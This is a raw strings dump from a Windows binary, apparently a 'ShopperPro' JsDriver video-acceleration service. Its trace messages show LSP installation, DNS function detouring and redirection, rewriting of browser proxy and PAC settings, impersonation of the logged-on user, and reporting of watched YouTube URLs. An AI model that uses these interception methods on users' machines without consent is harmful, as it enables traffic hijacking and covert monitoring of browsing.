[SbTracer::FormatFilePath] ___Error - GetModuleFileName: %s
\StringFileInfo\x\%s
[SbTracer::ReadConfiguration] Trace Max Size: %d
[SbTracer::ReadConfiguration] Trace Time Stamp: %d
[SbTracer::ReadConfiguration] Trace Time Limit: %d
[SbTracer::ReadConfiguration] Trace Backup: %d
[SbTracer::ReadConfiguration] Trace Destination: %d
[SbTracer::ReadConfiguration] Trace Level: %d
[SbTracer::BackupTraceFile] %s
[SbTracer::OpenTraceFile] Done %s
[SbTracer::OpenTraceFile] ___Error: %d, File: %s
[SbTracer::WriteTraceLine] !!! OVERFLOW or FORMAT ERROR !!! - (%d) %s
Windows CE
Windows 7
Windows Vista
Windows 2003 Server
Windows XP
Windows 2000
Windows NT
Windows Me
Windows 98
Windows 95
[CLoader::DisableDnsController] ___Error Disabling Dns Redirect Controller. LE: %X
[CLoader::ProcessTimeoutEvent] ___Warning: Unsupported event (%d)
[CLoader::AddRef] RefCount: %d
[CLoader::Release] RefCount: %d
[CLoader::UpdateVersionStatus] Status: %d (%d)
[CLoader::UnLoadRedirector] ___Error to Stop the Redirect Controller. LE: %d
[CLoader::GetMode] Engine Mode = %d
- m_ImpersonateDone = %d, m_DoLoadModules = %d m_UIRunning = %d
spCmd
[CLoader::DoStop] ___Error UnLoadMonitor - %X
[CLoader::DoStop] ___Error UnLoadRedirector - %X
[CLoader::DoStop] ___Error UnLoadProxy - %X
[CLoader::Load] Added %d m_nLSPConfChangedEvent
[CLoader::IsToLoadProxyModule] ___Error to Create IHttpEngineConfiguration
[CLoader::IsToLoadProxyModule] FALSE - Partner: %s
[CLoader::IsToLoadProxyModule] OEM: %s, Partner: %s
Monitor.dll
%d.%d.%d.%d
[CLoader::LoadProxy] ___Error: Failed To Create the proxy, CreateProxy: %d
[CLoader::RunLspInstaller] ___Error CreateProcess: %d
[CLoader::RunLspInstaller] CreateProcess: %s
\\.\pipe\VAPIPESERVERENG
[CLoader::RunPartnerCommTest] ___Error to create CommTest process. LE: %d
CommTest.exe
[CLoader::FixLSPStatus] Not going to fix LSP, it has been called %d times
[CLoader::CheckOurLSPStatus] Done.
[CLoader::CheckOurLSPStatus] ___Error CreateProcess: %d
[CLoader::CheckOurLSPStatus] CreateProcess: %s
[CLoader::CheckOurLSPStatus]
EmptyKey
[CLoader::InitCore] ___Warning - failed Open Current User Key - ProductInfo.m_hKeyRoot = ACCELERATOR_GLOBAL_KEY
3.3.9.3
[CLoader::InstallLsp] Done - %s
[CLoader::InstallLsp] Running second LSP installation method - %s
2.exe
[CLoader::SetLastTestSucceeded] InstalledLspVersion: %s
[CLoader::UnInstallLSP] Done - %s
Name: %s
Path: %s
Version: %s
%s_%d_%s.log
[CLoader::LoadModules] Already loaded, Status = %d, return...
[CLoader::ProcessEvent] ___Warning: Unsupported event (%d)
[CLoader::ProcessEvent] m_nLSPConfChangedEvent - Added %d
[CLoader::ProcessEvent] m_nLSPConfChangedEvent - LSP configuration has changed, event %d
[CLoader::ProcessEvent] m_UninstallLspProcess - GetExitCodeProcess() returned: %d
[CLoader::ProcessEvent] m_nLspKeepAliveProcess - Added %d m_nLSPConfChangedEvent
[CLoader::ProcessEvent] m_nLspKeepAliveProcess - GetExitCodeProcess() returned: %d
[CLoader::ProcessEvent] m_nLspKeepAliveProcess - Check if our LSP installed DONE, event %d
[CLoader::ProcessEvent] m_InstallLspProcess - GetExitCodeProcess returned: %d
[CLoader::ProcessEvent] m_CommTestSucceeded - Added %d m_nLSPConfChangedEvent
%sLow\%s\
%C:\Users\Public\Documents\%s\%s\
%s\%s\%s\
%s\Application Data\%s\%s\
jsdrv.exe
config.xml
[CImpersonateThread::NotifyImpersonateLogon] Time: %d
[CImpersonateThread::NotifyImpersonateLogoff] Time: %d
[CImpersonateThread::ProcessEvent] CreateProcess - CmdLine: %s, AppName: %s, ShowCmd: %d
[CImpersonateThread::CreateProcess] CmdLine: %s, AppName: %s, ShowCmd: %d
[CImpersonateThread::Start ] ___Error SetConsoleCtrlHandler(TRUE), LE: %d
[CImpersonateThread::Start ] ___Error SetConsoleCtrlHandler(FALSE) failed: %d
\\.\pipe\VAPIPESERVERUI
[CBaseProviderProc::WSPAccept] ___Warning m_ProcTable.lpWSPAccept is not initialized, calling WSAAccept
[CBaseProviderProc::WSPAddressToString] ___Warning m_ProcTable.lpWSPAddressToString is not initialized, calling WSAAddressToString
[CBaseProviderProc::WSPAsyncSelect] ___Warning m_ProcTable.WSPAsyncSelect is not initialized, calling WSAAsyncSelect
[CBaseProviderProc::WSPBind] ___Warning m_ProcTable.lpWSPBind is not initialized, calling bind
[CBaseProviderProc::WSPCancelBlockingCall] ___Warning m_ProcTable.lpWSPCancelBlockingCall is not initialized, calling WSACancelBlockingCall
[CBaseProviderProc::WSPCloseSocket] ___Warning m_ProcTable.lpWSPCloseSocket is not initialized, calling closesocket
[CBaseProviderProc::WSPConnect] ___Warning m_ProcTable.lpWSPConnect is not initialized, calling WSAConnect
[CBaseProviderProc::WSPDuplicateSocket] ___Warning m_ProcTable.lpWSPDuplicateSocket is not initialized, calling WSADuplicateSocketW
[CBaseProviderProc::WSPEnumNetworkEvents] ___Warning m_ProcTable.lpWSPEnumNetworkEvents is not initialized, calling WSAEnumNetworkEvents
[CBaseProviderProc::WSPEventSelect] ___Warning m_ProcTable.lpWSPEventSelect is not initialized, calling WSAEventSelect
[CBaseProviderProc::WSPGetOverlappedResult] ___Warning m_ProcTable.lpWSPGetOverlappedResult is not initialized, calling WSAGetOverlappedResult
[CBaseProviderProc::WSPGetPeerName] ___Warning m_ProcTable.lpWSPGetPeerName is not initialized, calling getpeername
[CBaseProviderProc::WSPGetSockName] ___Warning m_ProcTable.lpWSPGetSockName is not initialized, calling getsockname
[CBaseProviderProc::WSPGetSockOpt] ___Warning m_ProcTable.lpWSPGetSockOpt is not initialized, calling getsockopt
[CBaseProviderProc::WSPGetQOSByName] ___Warning m_ProcTable.lpWSPGetQOSByName is not initialized, calling WSAGetQOSByName
[CBaseProviderProc::WSPIoctl] ___Warning m_ProcTable.lpWSPIoctl is not initialized, calling WSAIoctl
[CBaseProviderProc::WSPJoinLeaf] ___Warning m_ProcTable.lpWSPJoinLeaf is not initialized, calling WSAJoinLeaf
[CBaseProviderProc::WSPJoinLeaf]
[CBaseProviderProc::WSPListen] ___Warning m_ProcTable.lpWSPListen is not initialized, calling listen
[CBaseProviderProc::WSPRecv] ___Warning m_ProcTable.lpWSPRecv is not initialized, calling WSARecv
[CBaseProviderProc::WSPRecvDisconnect] ___Warning m_ProcTable.lpWSPRecvDisconnect is not initialized, calling WSARecvDisconnect
[CBaseProviderProc::WSPRecvFrom] ___Warning m_ProcTable.lpWSPRecvFrom is not initialized, calling WSARecvFrom
[CBaseProviderProc::WSPSelect] ___Warning m_ProcTable.lpWSPSelect is not initialized, calling select
[CBaseProviderProc::WSPSend] ___Warning m_ProcTable.lpWSPSend is not initialized, calling WSASend
[CBaseProviderProc::WSPSendDisconnect] ___Warning m_ProcTable.lpWSPSendDisconnect is not initialized, calling WSASendDisconnect
[CBaseProviderProc::WSPSendTo] ___Warning m_ProcTable.lpWSPAddressToString is not initialized, calling WSASendTo
[CBaseProviderProc::WSPSetSockOpt] ___Warning m_ProcTable.lpWSPSetSockOpt is not initialized, calling setsockopt
[CBaseProviderProc::WSPShutdown] ___Warning m_ProcTable.lpWSPShutdown is not initialized, calling shutdown
[CBaseProviderProc::WSPStringToAddress] ___Warning m_ProcTable.lpWSPStringToAddress is not initialized, calling WSAStringToAddress
[CBaseProviderProc::WSPSocket] ___Warning m_ProcTable.lpWSPSocket is not initialized, calling socket
[CBaseProviderProc::WSPSocket] ___Error could not find protocol for af %d, type %d, protocol %d
[CBaseProviderProc::WSPSocket] ___Error not appropriate af %d
[CBaseProviderProc::WSPCleanup] ___Warning m_ProcTable.lpWSPCleanup is not initialized, calling WSACleanup
[CRedirectController::SetPassThrough]
[CRedirectController::GetTestingMode] %d
[CRedirectController::IsModeSupported] ___Error to Create IHttpEngineConfiguration
[CRedirectController::CRedirectController] ___Error to Create IHttpEngineConfiguration
IsOurPacFileExist: %s
[CRedirectController::IsOurPacFileExist] Existing Pac: %s - Applyed Pac: %s
showitunesMsg
DontShowAccelerationNotSupported
lastiTunesMsgTime
ManualProxyPort
[CConfig::IsLastTestingSucceeded] REGISTRY - Status = %d
[CConfig::IsLastTestingSucceeded] XML - Status = %d
[CConfig::SetLastTestingSucceeded] ___Error LastTestingSucceeded = %d (XML)
[CConfig::SetLastTestingSucceeded] LastTestingSucceeded = %d (XML)
[CConfig::IsTestingMode] ___Error TestingMode = %d (XML)
[CConfig::IsTestingMode] TestingMode = %d (XML)
[CConfig::SetTestingMode] ___Error TestingMode = %d (XML)
[CConfig::SetTestingMode] TestingMode = %d (XML)
[CConfig::GetBrandPort] BrandPort = %d
br_port
CConfig::SetCurrentUserKey
ReportCommFailed
[CConfig::SetSendLogFiles] Status = %d
[CConfig::SetSendInstLogFileOnly] Status = %d
[CConfig::GetCurrentUserKey] ___Error spIImpersonateThread == NULL
[CConfig::SetTracerOn] ___Error GetRegistryKeys
[CConfig::UpdateTracerFromReg] ___Error GetRegistryKeys
[CConfig::SetTracer] Status = %d
[CConfig::SetBackup] ___Error GetRegistryKeys
[CConfig::SetBackup] Status = %d
vaproxy.pac
[CConfig::AddToLearningDomainsList] ___Error adding the domain %s to the learning domains list
[CConfig::AddToLearningDomainsList] The domain %s was added to the learning domains list
[CConfig::IsXBoxMode] Status = %d
[CEventsThread::SetTimeoutResolution] From: %d -> To: %d
[CEventsThread::WaitForMultipleEvents] Released on Signaled: %d ms
[CEventsThread::WaitForMultipleEvents] Released on Timeout: %d ms
[CEventsThread::WaitForMultipleEvents] ___Error MsgWaitForMultipleObjectsEx. LE: %d
[CEventsThread::WaitForMultipleEvents] TID=%X
[CEventsThread::CreateNamedEvent] OpenEvent. LE: %d
[CEventsThread::CreateNamedEvent] ___Error OpenEvent: LE: %d
[CEventsThread::CreateNamedEvent] ___Error CreateEvent. LE: %d. Try OpenEvent...
[CEventsThread::Start - Leave] TID=%X
[CEventsThread::Start] ___Error - Failed to create thread: %X
[CEventsThread::Stop - Leave] TID=%X
[CEventsThread::Stop - Enter] TID=%X
[CEventsThread::CallProcessTimeoutRoutines] ___Error Invalid Event Entry: %d, Timeout: %d
[CEventsThread::AlertEvent] ___Error SetEvent failed: %d
[CEventsThread::AlertEvent] ___Error Invalid Event Entry: %d
[CEventsThread::AlertEvent] ___Error Not found Event: %d
[CEventsThread::SetGlobalEvent] ___Error Invalid Event Entry: %d
[CEventsThread::SetGlobalEvent] ___Error Not found Event: %d
[CEventsThread::SetGlobalEvent] Event: %d
[CEventsThread::ResetEvent] ___Error ResetEvent failed: %d
[CEventsThread::ResetEvent] ___Error Invalid Event Entry: %d
[CEventsThread::ResetEvent] ___Error Not found Event: %d
[CEventsThread::ResetEvent] Event: %d
[CEventsThread::CallProcessEventRoutines] ___Error Invalid Event Entry: %d
[CEventsThread::CallProcessEventRoutines] ___Error Invalid Event Index: %d
[CEventsThread::RemoveEvent] ___Error CloseHandle failed: %d
[CEventsThread::RemoveEvent] ___Error Invalid Event Entry: %d
[CEventsThread::RemoveEvent] ___Error Not found Event: %d
[CEventsThread::RemoveEvent] Event: %d
[CEventsThread::WaitEvent] TID=%X
[CEventsThread::Cleanup] ___Error CloseHandle(0x%p) failed: %d
[CEventsThread::Cleanup] Closing Handle: %d
[CEventsThread::Work] TID=%X - Exit !!!
[CEventsThread::Work] WAIT_ABANDONED - %d
[CEventsThread::Work] TID=%X
[CEventsThread::AddEvent] ___Warning event handle already exists %d
[CEventsThread::AddEvent] ___Error invalid event handle %d
[CDnsController::SetRedirectFilter] Domain: %s
[CServiceController::ChangeStartType] ___Error ChangeServiceConfig failed: %d
[CServiceController::ChangeStartType] ___Error OpenService: %s, failed: %d
[CServiceController::ChangeStartType] ___Error OpenSCManager failed: %d
[CServiceController::ChangeStartType] Name: %s
[CServiceController::ExecuteServer] Exit
[CServiceController::ExecuteServer] Enter
[CServiceController::ServiceMain] ___Error SetServiceStatus Failed: %d
[CServiceController::ServiceMain] ___Error RegisterServiceCtrlHandler Failed: %d
[CServiceController::UpdateServiceDespatchTable] ___Error Exception StartServiceCtrlDispatcher Failed: %d
[CServiceController::UpdateServiceDespatchTable] ___Error StartServiceCtrlDispatcher Failed: %d
[CServiceController::UpdateServiceDespatchTable] Enter, %s
[CServiceController::Install] ___Error OpenService Failed: %d
[CServiceController::Install] ___Error QueryServiceStatus Failed: %d
[CServiceController::Install] ___Error CreateService Failed: %d
[CServiceController::Install] ___Error OpenSCManager Failed: %d
%s -%s -%s
%s\%s
[CServiceController::Install] ___Error GetModuleFileName Failed: %d
[CServiceController::Remove] ___Error OpenService Failed: %d
[CServiceController::Remove] ___Error OpenSCManager Failed: %d
[CServiceController::GetStatus] ___Error QueryServiceStatus Failed: %d
[CServiceController::GetStatus] ___Error OpenService Failed: %d
[CServiceController::GetStatus] ___Error OpenSCManager Failed: %d
[CServiceController::Start] The service %s was started
[CServiceController::Start] ___Error StartService Failed: %d
[CServiceController::Start] ___Error OpenService Failed: %d
[CServiceController::Start] ___Error OpenSCManager Failed: %d
[CServiceController::Start] Going to start the service %s
[CServiceController::Stop] The service %s was stopped
JsDriverService.exe
[CServiceController::Stop] ___Error ControlService Failed: %d
[CServiceController::Stop] ___Error OpenService Failed: %d
[CServiceController::Stop] Going to stop the service %s
[CServiceController::Stop] ___Error SetServiceStatus Failed: %d
[CServiceController::GetArgsFromCmd] Exit
[CServiceController::GetArgsFromCmd] m_bSCMCmd = TRUE
[CServiceController::GetArgsFromCmd] Enter
[CServiceController::RunCommand] Args: %s
[CMutexLock::Open] ___Error %d, OpenMutex: %s
[CMutexLock::Open] ___Error %d, CreateMutex: %s
[CCommandsQueue::SetAsync (%p)] ___Error CreateEvent(), Error: %d
[CCommandsQueue::CCommandsQueue - (%p)] CreateEvent() - Failed, Error: %d
[CAcceleratorEvents::ReportStatistics]
[CAcceleratorEvents::OnReportNoAccelerationReason] %s
[CSaveWatchUrl::Work] Saving Info...
zvl=%s&
%s?e=%s
SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy
[CLspController::SetRedirectFilter] IP: %u.%u.%u.%u, Mask: %u.%u.%u.%u
[CLspController::SetVersionStatus] VesrionStatus = %d
[CLspController::GetVersionStatus] VesrionStatus = %d
[CLspController::UpdateVersionStatus] Status: %d (%d)
[CLspController::UpdateVersionStatus] New Status: %d
[CLspController::IsToAccelerate] Local ---@@@ IP: %u.%u.%u.%u, Port: %u @@@, Protocol: %u ---
[CLspController::IsToAccelerate] Global ---@@@ IP: %u.%u.%u.%u, Port: %u @@@, Protocol: %u ---
[CLspController::IsToAccelerate] Partner ---@@@ IP: %u.%u.%u.%u, Port: %u @@@---
[CLspController::IsToAccelerate] iTunes ---@@@ IP: %u.%u.%u.%u, Port: %u @@@---
[CLspController::IsToAccelerate] returns FALSE - status passthrough
[CLspController::IsToAccelerate] returns FALSE - g_PassThrough exists
[CLspController::IsToAccelerate] IP: %u.%u.%u.%u, Port: %u
[CLspController::StartAccelerationsEvent] ___Error OSSetEvent failed: %d
[CLspController::InitTunnelingState] g_PassThrough[ %s ] = %d
[CLspController::IsPartner] partner = %d
[CLspController::UpdateXMLRulesVersion] Version: %s (%s)
[CLspController::UpdateXMLRulesVersion] New Version: %s
[CLspController::IsIgnored] ---@@@ Port: %u @@@---
Downloader.exe
RecordingManager.exe
WebKit2WebProcess.exe
firefox.exe
iTunes.exe
[CLspController::DoLoad] Hook status %d
VVV.youtube.com
[CLspController::DoLoad] ___Error CSharedMemory Create() Local. LE: %d
[CLspController::SetPassThrough] g_PassThrough[ %s ] = %d
PassThroughState
[CLspController::SetPassThrough] ___Error m_smGlobalAccelerationData is Read-Only
[CLspController::SetPassThrough] ___Error m_smGlobalAccelerationData == NULL
[CLspController::SetPassThrough]
[CLspController::UpdatedPartnerDisableList] PartnerDisableList = %s
[CLspController::CreateSharedMemory] ___Error CSharedMemory CreateCriticalSection: %s. LE: %d
[CLspController::CreateSharedMemory] ___Error CSharedMemory Create: %s. LE: %d
[CLspController::CreateSharedMemory] ___Error CSharedMemory Create() Local. LE: %d
[CLspController::IsDomainExistInRules] Found - Template: %s
[CLspController::IsDomainExistInRules] Domain: %s
[CLspController::AddDnsResponse] Adding IP: %u.%u.%u.%u, Mask: %u.%u.%u.%u, Ports: %u - %u
[CLspController::UpdateRedirectionIps] Adding IP: %u.%u.%u.%u, Mask: %u.%u.%u.%u
[CImpersonate::Impersonate] ImpersonateLoggedOnUser - Error: %d
[CImpersonate::Impersonate] Impersonated: %d
[CImpersonate::Revert] RevertToSelf - Error: %d
[CImpersonate::Revert] Impersonated: %d
[CImpersonate::Cleanup] Impersonated: %d
[CImpersonate::GetUserSID] LookupAccountNameW failed. GetLastError returned: %d
[CImpersonate::GetUserSID] The SID for %s is invalid.
[CImpersonate::GetUserSID] Not Enough Memory: %d
[CImpersonate::SetPrivilege] AdjustTokenPrivileges - Error: %d
[CImpersonate::SetPrivilege] LookupPrivilegeValue - Error: %d
[CImpersonate::OpenCurrentUserDesktop] - The function does not support Windows Vista and Windows 98
[CImpersonate::OpenCurrentUserDesktop] OpenDesktop - Error: %d
[CImpersonate::OpenCurrentUserDesktop] OpenInputDesktop - Error: %d
[CImpersonate::OpenCurrentUserDesktop] SetProcessWindowStation - Error: %d
[CImpersonate::OpenCurrentUserDesktop] OpenWindowStation - Error: %d
[CImpersonate::OpenCurrentUserDesktop] GetProcessWindowStation - Error: %d
[CImpersonate::OpenCurrentUserDesktop] - The function does not support MAC
[CImpersonate::CreateProcessAsCurrentUser] CreateProcessAsUser - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] CreateEnvironmentBlock - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] AddAceToDesktop - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] AddAceToWindowStation - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] GetLogonSID - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] DuplicateTokenEx - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] OpenDesktop - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] SetProcessWindowStation - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] OpenWindowStation - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] GetProcessWindowStation - Error: %d
[CImpersonate::AddAceToWindowStation] SetUserObjectSecurity - Error: %d
[CImpersonate::AddAceToWindowStation] SetSecurityDescriptorDacl - Error: %d
[CImpersonate::AddAceToWindowStation] CopySid - Error: %d
[CImpersonate::AddAceToWindowStation] AddAce - Error: %d
[CImpersonate::AddAceToWindowStation] GetAce - Error: %d
[CImpersonate::AddAceToWindowStation] GetAclInformation - Error: %d
[CImpersonate::AddAceToWindowStation] GetUserObjectSecurity - Error: %d
[CImpersonate::AddAceToDesktop] SetUserObjectSecurity - Error: %d
[CImpersonate::AddAceToDesktop] SetSecurityDescriptorDacl - Error: %d
[CImpersonate::AddAceToDesktop] AddAccessAllowedAce - Error: %d
[CImpersonate::AddAceToDesktop] AddAce - Error: %d
[CImpersonate::AddAceToDesktop] GetAce - Error: %d
[CImpersonate::AddAceToDesktop] GetSecurityDescriptorDacl - Error: %d
[CImpersonate::AddAceToDesktop] GetUserObjectSecurity - Error: %d
[CImpersonate::OpenCurrentUserKey] LoadUserProfile - SUCCESS
[CImpersonate::OpenCurrentUserKey] LoadUserProfile failed - Error: %d
[CImpersonate::GetLogonUserName] GetLogonUserName - Error: %d
[CImpersonate::OpenCurrentUserKey] RegOpenCurrentUser - Error: %d
[CImpersonate::OpenCurrentUserKey] RegOpenCurrentUser - SUCCESS
[CImpersonate::OpenCurrentUserKey] Impersonated: %d
[CImpersonate::FindLoggedOnUser] Process32First - Error: %d
[CImpersonate::FindLoggedOnUser] OpenProcess - Error: %d
[CImpersonate::FindLoggedOnUser] OpenProcessToken - Error: %d
[CImpersonate::FindLoggedOnUser] CreateToolhelp32Snapshot failed - Error: %d
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
explorer.exe
[CImpersonate::FindLoggedOnUser] Impersonated: %d
[CImpersonate::GetLogonUserName] Name: %s
[CImpersonate::GetLogonUserName] GetUserName - Error: %d
[CVA_Alert::OnDeserialize] ___Error get m_LandingUrl
[CVA_Alert::OnDeserialize] ___Error get m_URL
user32.dll
WININET.DLL
kernel32.dll
d/d/%d d:d:d::d
[CFullController::IsProxySupported] ___Error Create Proxy Controller
[CFullController::IsProxySupported] Create Proxy Controller...
[CFullController::SetPassThrough]
[CFullController::Init] ___Error to Create IHttpEngineConfiguration
[CFullController::Start] ___Error ProxyRes = %d, LspRes = %d
[CFullController::Stop] ___Error ProxyRes = %d, LspRes = %d
[CProxyController::SetVersionStatus] Status: %d -> %d
[CProxyController::GetVersionStatus] Status: %d
[CProxyController::Init] ___Error to Create IHttpEngineConfiguration
[CProxyController::IsAloud] FALSE - There is a pac file: %s
[HttpProxyServer::CreatePacFile] ___Error: ConfigPath::GetPath. LE: %d
[HttpProxyServer::CreatePacFile] ___Error: WriteRedirectRulesToPacFile. LE: %d
[CDriverManager::IoControl] DeviceIoControl failed: %d
[CDriverController::GetRedirectedConnectionInfo] ___Error GET_CONN %d
[CDriverController::GetRedirectedConnectionInfo] Port %d
[CDriverController::SetRedirectInfo] to port %d
[CDriverController::SetRedirectInfo] ___Error REDIRECT_ALL device %d
[CDriverController::SetRedirectInfo] ___Error SET_PORT device %d
[CDriverController::SetRedirectInfo] ___Error INTERFACE_VERSION mismatch R0 %d R3 %d
[CDriverController::SetRedirectInfo] ___Error INTERFACE_VERSION device %d
[CDriverController::SetRedirectInfo] ___Error open device %d
\\.\svd
HttpHandleAll
HttpWorkerBufferLimit
HttpListenPort
HttpListenIP
RtmpListenPort
[ProxySettingsConfiguration::RestoreOriginalSettings] ___Error ApplyIEProxySettings - Wait: %d
[ProxySettingsConfiguration::RestoreOriginalSettings] ___Error ApplyIEProxySettings - ProcessCommand: %d
[ProxySettingsConfiguration::SaveApplied] ___Error RetrieveIEProxySettings - Wait: %d
[ProxySettingsConfiguration::SaveApplied] ___Error RetrieveIEProxySettings - ProcessCommand: %d
[ProxySettingsConfiguration::SaveOriginal] ___Error RetrieveIEProxySettings - Wait: %d
[ProxySettingsConfiguration::SaveOriginal] ___Error RetrieveIEProxySettings - ProcessCommand: %d
[ProxySettingsConfiguration::RetriveExisting] ___Error RetrieveIEProxySettings - Wait: %d
[ProxySettingsConfiguration::RetriveExisting] ___Error RetrieveIEProxySettings - ProcessCommand: %d
[ProxySettingsConfiguration::SetProxyConfigScript] ___Error SetProxyConfigScript - Wait: %d
[ProxySettingsConfiguration::SetProxyConfigScript] ___Error SetProxyConfigScript - ProcessCommand: %d
SOFTWARE\ShopperPro\JsDriver\%s\Original
SOFTWARE\ShopperPro\JsDriver\%s\Current
[CDnsProxyServer::is_in_redirection_rules] Found redirection Rule: %s
[CDnsProxyServer::load_dns_clients] IP: %s
[CDnsProxyServer::get_dns_servers] Dns Servers count: %d
[CDnsProxyServer::get_dns_servers] Dns Server: %s
[CDnsProxyServer::get_dns_servers] ___Error RegEnumKeyEx. LE: %d, Name: %s
[CDnsProxyServer::get_dns_servers] DhcpNameServer: %s
[CDnsProxyServer::get_dns_servers] NameServer: %s
[CDnsProxyServer::get_dns_servers] ___Error RegOpenKeyEx. LE: %d, Name: %s
[CDnsProxyServer::get_dns_servers] ___Error RegQueryInfoKey. LE: %d
[CDnsProxyServer::get_dns_servers] ___Error key: %s
SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces
[CDnsProxyServer::Start] ___Error CAsyncUdpSocketServer<CDnsProxyServer>::Start. LE: %d
[CDnsProxyServer::Start] Local IP: %d.%d.%d.%d
[CDnsProxyServer::Start] ___Error SafeGetHostByName. LE: %d, Host: %s
[CDnsProxyServer::Start] Host name: %s
[CDnsProxyServer::Start] ___Error gethostname. LE: %d
[CDnsProxyServer::dns_reverse_lookup] Name: %s
[CDnsProxyServer::dns_reverse_lookup] IP: %s
[CDnsProxyServer::add_dns_client] IP: %s
%u.%u.%u.%u
[CDnsProxyServer::is_dns_client] IP: %s
[CDnsProxyServer::save_dns_clients] IP: %s
[CDnsProxyServer::dns_send_reply] @@@ Found IP: %s @@@
[CDnsProxyServer::dns_send_reply] Domain: %s
[CDnsProxyServer::OnRecv] ___Error %x - SendTo timeout to the original dns server
[CDnsProxyServer::OnRecv] ___Error %x - Select timeout from the original dns server
[CDnsProxyServer::OnRecv] ___Error %x - RecvFrom timeout from the original dns server
[CDnsProxyServer::OnRecv] ___Error %x - SendTo the client the response from the original server
[CDnsProxyServer::OnRecv] ___Error Got from the original dns server a packet with invalid size of %d
[CDnsProxyServer::OnRecv] ___Error %x - Open new socket to forward dns query
[CDnsProxyServer::OnRecv] unsupported opcode: %d
[CDnsProxyServer::OnRecv] DNS query: %s
[CDnsProxyServer::OnRecv] DNS query from client Host: %s, Port: %d
[CDnsProxyServer::OnRecv] Got packet with invalid size of %d
StartPortRange
EndPortRange
</URL>
<URL>
CAcceleratedEventsThread::OnReportNoAccelerationReason
0.0.0.0
%s%lld%s
%s%d%s
<EMBED><URL>
[CAcceleratedEventsThread::ReportEmbedStreaming]
[CAcceleratedEventsThread::ReportStatistics]___Error empty param : URL Acc Url = %s, Normal URL = %s
[CAcceleratedEventsThread::ReportStatistics] %s
[CAcceleratedEventsThread::ReportStatistics]___Error encode Acc URL = %s
%s%s%s
[CAcceleratedEventsThread::ReportStatistics]___Error encode Normal URL = %s
[CAcceleratedEventsThread::ReportVideoID] XML = %s
<WATCH><URL>%s</URL></WATCH>
[CAcceleratedEventsThread::ReportVideoID] URL = %s
YOUTUBE.COM/GET_VIDEO?VIDEO_ID=
[CAcceleratedEventsThread::ReportFailureReason] %s
[CAcceleratedEventsThread::ReportStatistics]___Error encode URL = %s
[CAcceleratedEventsThread::ReportFailureReason]___Error empty param : URL Acc Url = %s, AccFailureReason = %s
[CAcceleratedEventsThread::OnReportStatistics]
[CAcceleratedEventsThread::ReportAccelerations]
[CAcceleratedEventsThread] - Start the Pipe Clients to the Engine & UI
[CAcceleratedEventsThread::ProcessEvent] ___Warning: Unsupported event (%d)
DestroyPipeEventThreadManager
CreatePipeEventThreadManager
[CDNSResponse::AnalyzeResponse] Found IP: %u.%u.%u.%u
[Mine_GetAddrInfoW] nodename: %S
[Mine_GetAddrInfoExA] pName: %s
[Mine_GetAddrInfoExW] pName: %S
[Mine_getaddrinfo] nodename: %s
[CDNSInterceptor::Detour] GetAddrInfoExW - %d
[CDNSInterceptor::Detour] GetAddrInfoExA - %d
[CDNSInterceptor::Detour] GetAddrInfoW - %d
[CDNSInterceptor::Detour] getaddrinfo - %d
[CDNSInterceptor::Detour] gethostbyname - %d
[CDNSInterceptor::Detour] ___Error LoadLibrary ws2_32.dll
ws2_32.dll
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] SetSecurityDescriptorDacl failed. GetLastError returned: %d
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] InitializeSecurityDescriptor failed. GetLastError returned: %d
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the trusted owner. GetLastError returned: %d
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the Everyone group. GetLastError returned: %d
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the queue owner. GetLastError returned: %d
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] InitializeAcl failed. GetLastError returned: %d
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] GetLogonSID failed. Error code: 0x%X
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AllocateAndInitializeSid failed. GetLastError returned: %d
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] GetTokenInformation failed. GetLastError returned: %d
[CSerializable::GetField] ___Error - Vector size missmatch. Code: %d
[CIEInternetProxySettings::RetriveProxyConfiguration - Exit] list.pOptions == NULL
[CIEInternetProxySettings::ApplyProxyConfiguration] InternetSetOption( INTERNET_OPTION_REFRESH ) - Failed: %d
[CIEInternetProxySettings::ApplyProxyConfiguration] InternetSetOption( INTERNET_OPTION_SETTINGS_CHANGED ) - Failed: %d
[CIEInternetProxySettings::ApplyProxyConfiguration] InternetSetOption() - Failed: %d
[CIEInternetProxySettings::IsOptionIncluded] NOT Found - Option: %d, Value: %d
[CIEInternetProxySettings::IsOptionIncluded] Found - Option: %d, Value: %d
[CIEInternetProxySettings::IsOptionIncluded] NOT Found - Option: %d, Value: %s
[CIEInternetProxySettings::IsOptionIncluded] Found - Option: %d, Value: %s
[CIEInternetProxySettings::IsOptionIncluded] Found - Option: %d, Value: NULL
[CIEInternetProxySettings::SetProxyConfigScript] InternetSetOption( INTERNET_OPTION_REFRESH ) - Failed: %d
[CIEInternetProxySettings::Refresh] InternetSetOption( INTERNET_OPTION_SETTINGS_CHANGED ) - Failed: %d
[CIEInternetProxySettings::SetProxyConfigScript] InternetSetOption() - Failed: %d
[CIEInternetProxySettings::SetProxyConfigScript] list.pOptions == NULL
[CIEInternetProxySettings::GetCurrentUserKey] User Key: %p
[CIEInternetProxySettings::GetCurrentUserKey] ___Error spIImpersonateThread == NULL
[CIEInternetProxySettings::SetProxyConfigScript] InternetSetOption( INTERNET_OPTION_SETTINGS_CHANGED ) - Failed: %d
http=
[CIEInternetProxySettings::Save] %s - %s = %s
ListenPort
[EngineConfiguration::GetCurrentUserKey] User Key: %X
[EngineConfiguration::GetCurrentUserKey] ___Error spIImpersonateThread == NULL
HttpRedirectProxyPort
